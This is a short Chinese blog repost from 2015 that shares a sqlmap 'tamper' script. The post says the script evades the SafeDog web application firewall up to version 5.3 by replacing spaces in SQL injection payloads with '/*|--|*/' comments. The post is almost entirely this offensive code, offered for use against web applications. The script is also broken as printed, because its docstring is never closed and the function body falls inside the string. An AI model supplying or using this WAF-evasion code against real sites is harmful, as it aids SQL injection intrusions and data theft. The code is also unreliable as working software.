码迷,mamicode.com
首页 > 数据库 > 详细

sqlmap tamper绕过安全狗

时间:2015-12-26 22:06:42      阅读:1057      评论:0      收藏:0      [点我收藏+]

标签:

可以过5.3版本 放出py

#!/usr/bin/env python

"""
Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/)
See the file ‘doc/COPYING‘ for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (‘ ‘) with comments ‘/*|--|*/‘

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper(‘SELECT id FROM users‘)
    ‘SELECT/*|--|*/id/*|--|*/FROM/*|--|*/users‘
    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += "/*|--|*/"
                    continue

            elif payload[i] == ‘\‘‘:
                quote = not quote

            elif payload[i] == ‘"‘:
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += "/*|--|*/"
                continue

            retVal += payload[i]

    return retVal


本文转自:http://www.silic.top/index.php/archives/6/

sqlmap tamper绕过安全狗

标签:

原文地址:http://www.cnblogs.com/dongchi/p/5079135.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!